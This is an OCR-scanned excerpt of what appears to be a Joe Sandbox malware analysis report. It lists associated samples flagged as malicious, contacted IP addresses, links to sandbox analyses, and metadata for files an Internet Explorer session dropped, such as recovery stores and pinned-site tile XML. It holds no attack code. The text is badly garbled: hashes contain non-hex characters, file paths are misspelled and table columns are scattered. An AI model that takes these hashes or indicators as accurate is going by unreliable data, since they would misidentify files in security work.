Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

Link
Browse
Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Context

87.248.118.22
87.248.118.22
34.102.136.180

142.250.17
9.193

172.217.17.110
216.239.32.21

142.250.17
9.193

172.217.20.106
216.239.34.21
8.8.8.8
34.98.99.30
142.251.5.82
172.217.20.227

34.90.236.200

34.102.136.180
34.90.236.200

34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
104.20.184.68

172.67.167.211

172.67.185.66
104.20.184.68
104.16.19.94

104.20.184.68

162.159.13
3.233

104.22.0.232
172.67.188.154

162.159.12
9.233

172.67.188.154

162.159.13
5.233

172.67.188.154
104.21.19.200
172.67.168.210
104.20.139.65

162.159.13
5.233

104.21.19.200

104.21.19.200
104.21.19.200

Context

104.20.185.68
87.248.118.23
151.101.1.44

104.20.185.68
87.248.118.23
151.101.1.44

104.20.185.68
87.248.118.23
151.101.1.44

104.20.185.68
87.248.118.23
151.101.1.44
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https://view.joesandbox.com/analysis/258839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258839/html/none?idtype=webid
https://view.joesandbox.com/analysis/258835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258835/html/none?idtype=webid
https://view.joesandbox.com/analysis/264049/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264049/html/none?idtype=webid
https://view.joesandbox.com/analysis/264026/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264026/html/none?idtype=webid
https://view.joesandbox.com/analysis/264022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264022/html/none?idtype=webid
https://view.joesandbox.com/analysis/264020/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264020/html/none?idtype=webid
https://view.joesandbox.com/analysis/264006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264006/html/none?idtype=webid
https://view.joesandbox.com/analysis/263993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263993/html/none?idtype=webid
https://view.joesandbox.com/analysis/263945/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263945/html/none?idtype=webid
https://view.joesandbox.com/analysis/263912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263912/html/none?idtype=webid
https://view.joesandbox.com/analysis/263911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263911/html/none?idtype=webid
https://view.joesandbox.com/analysis/263901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263901/html/none?idtype=webid
https://view.joesandbox.com/analysis/263899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263899/html/none?idtype=webid
https://view.joesandbox.com/analysis/263896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263896/html/none?idtype=webid
https://view.joesandbox.com/analysis/263895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263895/html/none?idtype=webid
https://view.joesandbox.com/analysis/263893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263893/html/none?idtype=webid
https://view.joesandbox.com/analysis/263883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263883/html/none?idtype=webid
https://view.joesandbox.com/analysis/263881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263881/html/none?idtype=webid
https://view.joesandbox.com/analysis/263868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263868/html/none?idtype=webid
https://view.joesandbox.com/analysis/263864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263864/html/none?idtype=webid
https://view.joesandbox.com/analysis/263853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263853/html/none?idtype=webid
https://view.joesandbox.com/analysis/263840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263840/html/none?idtype=webid
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid
https://view.joesandbox.com/analysis/264049/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264049/html/none?idtype=webid
https://view.joesandbox.com/analysis/264026/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264026/html/none?idtype=webid
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid
https://view.joesandbox.com/analysis/264006/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264006/html/none?idtype=webid
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid
https://view.joesandbox.com/analysis/263955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263955/html/none?idtype=webid
https://view.joesandbox.com/analysis/263948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263948/html/none?idtype=webid
https://view.joesandbox.com/analysis/263944/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263944/html/none?idtype=webid
https://view.joesandbox.com/analysis/263942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263942/html/none?idtype=webid
https://view.joesandbox.com/analysis/263925/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263925/html/none?idtype=webid
https://view.joesandbox.com/analysis/263924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263924/html/none?idtype=webid
https://view.joesandbox.com/analysis/263922/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263922/html/none?idtype=webid
https://view.joesandbox.com/analysis/263920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263920/html/none?idtype=webid
https://view.joesandbox.com/analysis/263912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263912/html/none?idtype=webid
https://view.joesandbox.com/analysis/263911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263911/html/none?idtype=webid
https://view.joesandbox.com/analysis/263906/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263906/html/none?idtype=webid
https://view.joesandbox.com/analysis/263904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263904/html/none?idtype=webid
https://view.joesandbox.com/analysis/263903/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263903/html/none?idtype=webid
https://view.joesandbox.com/analysis/263902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263902/html/none?idtype=webid
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid
https://view.joesandbox.com/analysis/263842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263842/html/none?idtype=webid

Match

Dropped Files

No context

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\E5FONRSV\www.msn[2].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped
13

2.469670487371862

false
3:D90aKb:JFKb

C1DDEASEF6BBEF3E7060A1A9AD89E4CS
35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
6BESCEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADESCF79F73480910F

D

false

<root></root>

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44

e 104.20.185.68
e 87.248.118.23
e 151.101.1.44
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https://view.joesandbox.com/analysis/263678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid
https://view.joesandbox.com/analysis/263663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263663/html/none?idtype=webid
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid
https://view.joesandbox.com/analysis/263447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263447/html/none?idtype=webid
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid
https://view.joesandbox.com/analysis/263394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263394/html/none?idtype=webid
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid
https://view.joesandbox.com/analysis/263321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263321/html/none?idtype=webid
https://view.joesandbox.com/analysis/263250/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263250/html/none?idtype=webid
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid
https://view.joesandbox.com/analysis/263048/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263048/html/none?idtype=webid
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid
https://view.joesandbox.com/analysis/262929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262929/html/none?idtype=webid
https://view.joesandbox.com/analysis/262895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262895/html/none?idtype=webid
https://view.joesandbox.com/analysis/262825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262825/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\internet Explorer\DOMStore\URWO0GA4Q\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

2980

4.919176210359297

false
48:LwewewewqeDeDSeDeDj2eDeaeaecaKeQYeQYeQYeQYeQYAvsugeQYAvsugeQYAvsP:8bbbqUUSUUSUIIIKwwwwwAv1gwAvlgw?
51FC800752E060AAE57A96E08276E2CF

3327845DEF1F2B4003FA44053257B0BB7546DEB5S
62EBDBE6C77F67F95596CEAS5F2A216674BAB43D670CD106071163EE359DF2F76

40C265A98DA8A62DED8A3D0082174C606DCFC63B8CF74E9CA6386666531DFADC26FD60A1E87C5BD64601DE3CFE37668BAE08914A609B139551F354DAA8470C
1

false

<root></root><root><item name="HBCM_BIDS" value="{}" Itime="2498835088" htime="30867672" /></root><root><item name="HBCM_BIDS" value="{}" Itime="24988
35088" htime="30867672" /></root><root><item name="HBCM_BIDS" value="{}" ltime="2498835088" htime="30867672" /></root><root><item name="HBCM_BIDS" val
ue="{}" ltime="2498835088" htime="30867672" /><item name="mntest" value="mntest" Itime="2498915088" htime="30867672" /></root><root><item name="HBCM_B
IDS" value="{}" Itime="2498955088" htime="30867672" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2498955088" htime="30867672" /><item name=
"mntest” value="mntest" ltime="2498995088" htime="30867672" /></root><root><item name="HBCM_BIDS" value="{}" ltime="2498955088" htime="30867672" /></root>
<root><item name="HBCM_BIDS" value="{}" ltime="2498955088" htime="30867672" /><item name="mntest" value="mntest" ltime="2500795088" htime="30867672" />
</root><root><item name="HBCM_BIDS" value="{}" Itime="2498955088" htime="30867672" /></root><ro

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{CFBA71BC-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

107816

2.2670174530645344

false

192:rbzZ0ZD2zWntafDCtmoMzWtEDUEBtlocvbDt9WFhDttb Df+WqoDfGSpbKf/WK2Kfy:rtE6Kt4uvM7GR4aGjVbCwwB1+1pR8EE9
E2D178CBC65F1C2D66B537EFDDSEAC3D

0532B47BBB8281F0A8D86472F20CE8D9293F8267
F99DC409A051BDBIBBE7F6AFD721857A1442CC356073301ACA908E00D5789BA7

91181EBCBO013AFC814F1F239B8B6E67ECC6F643DB3DE35629689BA34E413E417E9F79FBFDA948BA997E766359F3D77C40DD96A1A4B69816F405AB098BBOF2EF
1

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{CFBA71BE-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

195058

3.584089616140025

false

3072:0Z/2BfcYmu5kLTzGtFZ/2Bfc/muSkLTzGtj:BUU
56A45E6D3CB5D05DFC7D8B0BD051BC78
F816D995FE2D2B455BF94323FEBB5F0A45C9572A
7DA55893AAAA8FFID3DEBEEA4588F2CC1979C44DAEDC5D60A80386FAOAFE3197

92336FD11D5CC1F1E294DD1002E45BB4C88F26F0EA6DASE6B5D2AE08BBFDSDBC74E3977BDA734F618D605FADADEA2AG5E00170B3265E72A9C60CAOAGBEABE
FEF

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F336FB9E-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

C:\Program Files\internet exploren\iexplore.exe
Microsoft Word Document

dropped

27596

1.9129125391543558

false
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C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{F336FB9E-6CCB-11EB-90EB-ECF4BBEA1588}.dat

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

96:raZpQ66UBSJj921WZMFtmxzP5GY IImxzP5GYsxzPFA:raZpQ66UkJj921WZMFtm+ImyXA
239C6697DA8388E9C32FC165A01DB693
644DB428D84EC7DDBOCD3E6F766E3C40ECFAB353
56D9D418EF08F20DA47FC41735C0F50A29A4F2DF2EFCOB6F2FB4EA2A7CCIBIDF

A5D26BFB6DD769E524DEGEDABS51F645FAOEDEG06297A1946E3F4804567957DA9F03E8649755DE3087A38BF619C353594EA97C9512EO0ESECACDD42ABIEF44B!
F

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{F336FBA0-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

Microsoft Word Document

dropped

28144

1.9131140529635309

false
96:ryYZ0ZQ66YBSGjB2FWhMBZanF30q8191a+nF30q8ISA:ryYZoZQ66YKGjB2FWhMBZaFpPla+FpQA
DC9344212389A83176029A88A450AD5A

COF9BF2F1F755010695EB609E3D91A39149D7AAS
93D29A9940A642A77205CF178BCE142E06BB3C3D34D1934445F1641FFCD18F91
B23B993BBI99ACBBFE71800155CCB677D5248024B200F4CD01B8A3DD3E79F3559947FF9267E33B1CDCB92C9A386F21376FDD05D294D16FA4C5510397A98BFC9:

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{F336FBA2-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

Microsoft Word Document

dropped

28160

1.9199413258420543

false

96:rDZMQY6jBSAj521WzMrJf4UaiUO+lairV4UaSUaiUO+laiUA:rDZMQY 6jkAj521WzMrp2zSjV2YzSsA
6DBCC9F91C5E9EADBE27DE95461E1B5C

D44E549DFB25351DED2551E098365C5404FCOCC2
BDCB1AB6CC397309DCDE9130ED7377692EED193E02E828314D161BB6A248DC7C

1DCA64177558F9A1969091DD7FD73FEDC4A734FCO0CE664C50DA078B54526DF2928C1432D3586874A59BBFAC16183D76CA5B29DBB2CD9FOEA3CCE1IADCDDO:
2F

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{FD46581A-6CCB-11EB-90EB-ECF4ABBEA1588}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

19032

1.5812070694693987

false
48:lwnGcepryGwpa/G4pQvGraphSIGQpKwWG7HpRITGIpX2nGApm:rNZ6QR6zBSWALTdFqg
629E0D412854ABA01A60CC65D891D484
ABE4CCFDB4200DB7BA6FB087B6A298F92870F864
DA7832B406B32B54ECEF8865F386BC62E676EO0AOAD7CD37DC23462B21068FEAC
2AFDB951C9A9000C2BC3902C7F58F475C3878BF7382004609EF6DF911FD893429BC742C0D2AA13EEFAFI606DD059BFC94BE2794B55D5CB3D60809141479302E

false
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{FD46581A-6CCB-11EB-90EB-ECF4BBEA1588}.dat

Preview:

.R.0.0.t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.07903087168225

false

12: TMHdNMNxOEio4mgoDnWimI002EtM3MHANMNXOEio4mgoDnWimI000Y GVbKEtMb:2d6NxOg4CDSZHKA6NXxOg4CDSZ7YLb
E9B658597DB8D10412EA75DEA3BB42BD

DF5E5D9C899730252531C39D4C20CC774A45455C
2CF3114C82E238F7D894A4A7AF7D4AD17410095E9B8070F8AEBO37ED8CI45A8F

E26F77E57ED2A257A5A6DFFBFEEBEA83B9B8BEF3FAD2DD83146D7968F4B3345E7DD826E7A348082697CFAG64D3640E3F57A201FC20F354D59FDEA4CODC6841¢
9D

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa6305144,0x01d700d8</date><
accdate>0xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa6305144,0x01d700d8</date><accdate>0
xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.137134468423956

false

12: TMHdNMNxe2kOPmgAnWimI002EtM3MHANMNxe2kOPmgAnWimI000Y Gkak6EtMb:2d6NxrPPRASZHKA6NXrPPRASZ7Yza7b
454AB3A995075F89FBOD4B3F3BCF1A51

48EE9EEF1BF25A38EADA47393A343392EEC50F4B3
8914681D35B27C1ED324AF604D636CF86541284D66B26ECF43126CBF6FF99602
59E22550642D5F5FE03E2A6BE21EECOF69E62F294C8369FBCAFD56B5AD157418A0BDED449E6E478F9AA7630A42996391EFCF1D463126CAAB116025A389CD011

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xa6292a49,0x01d700d8</date><a
ccdate>0xa6292a49,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xa6292a49,0x01d700d8</date><a
ccdate>0xa6292a49,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

662

5.097250262156391

false

12: TMHdNMNXxvLio4mgoDnWiml002EtM3MHdNMNxvLio4mgoDnWimI000Y GmZEtMb:2d6Nxvt4CDSZHKd6Nxvt4CDSZ7Yjb
C1FC4567BBCD8CAA347E2COFC4DF8B74

5FBBEE44FD71168A0E43B6AD37CD4C2201A89B23
B97DA43EBDCO011B30B4B7D4174BE7D823393C87FF6152F0E2808F215C5D90E81

C526BC2EFBB8014F08B0C0OD0711203F9985ACF784D09D886CCEGD2BFESC2D26B30F5BA43AEFDFBE6146EFF1C15E313FO8EOCA945A956FA4DFEB8A0418E887E
9C

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xa6305144,0x01d700d8</date>
<accdate>0xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xa6305144,0x01d700d8</date><accda
te>0xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

647

5.07065235292181

false

12: TMHdNMNxiNmcnWimI002EtM3MHANMNXINmMcnWiml000Y Gd5EtMb: 2d6Nxw3SZHKdENxw3SZ7YEjb

5918E44D2DD38B23EF9AAODES23674F8

8F5FBCDAC407B8F774F9040414DF329F3F113C60

2482979D26425EE244AB02CAAOBE8976 CA39DB88F1186DE4F068B69C919E4B77
A5933AB5CCB329008541BD4525560DE9FBEE8D4F16F60E052D12EF577BA0F060AFB3802D89F2A3325CEEA21E637EBD17527D9131018FA96F573343CA84873761

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xa62def05,0x01d700d8</date><acc
date>0xa62def05,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xa62def05,0x01d700d8</date><accdate>0xa62de
f05,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.113332324846512

false
12:TMHdNMNxhGwio4mgoDnWiml002EtM3MHANMNxhGwio4mgoDnWiml000OYG8K075Es:2d6NxQs4CDSZHKd6NxQs4CDSZ7YrKajb
BDDB9FF0D24260D99F660B7A9DC48DDA

25272BA0E4221E537C8DED5FDD5DD372BE100203
08C7BCC0267F000604C942B9FFAOE66ED3EFB44D3D122F654F02CAOCEBC70778

5B9CC546C4BAGFEF8D791EAFB4DBB7DE1808DF16F6280CD68F43AFE4SE2EOF4BF921C3F7D2C2100CBDF1539ABDFA8SE4A84B40E19B310E7D79EB21FD215882
14

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa6305144,0x01d700d8</date><
accdate>0xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa6305144,0x01d700d8</date><accdate>0
xa6305144,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.054622255835709

false

12: TMHdNMNxOnNmcnWimI002EtM3MHANMNxONNmcnWimI00OY GXEtMb:2d6NXON3SZHKdBNXON3SZ7Ygb
5A9BBBIFFD62A10F5153837416942227

3B38DB998901B6CDF865DF7BC250E6CE9157BEEF
6A41AB37EEFF865CA6A0950DA9C660F0A3DAC267DB72D8657F5CC2637E5D6EF6
25B4433470834C3A09AF237220B0E81F6545699F8D6F395D85F90EC58EA07DF659DAFE41BA355A84BD1DF8B89A5813F9D78773BB1D307A7FBCEA82B265AED67

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xa62def05,0x01d700d8</date><a
ccdate>0xa62def05,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xa62def05,0x01d700d8</date><accdate>0xa
62def05,0x01d700d8</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:

Copyright null 2021

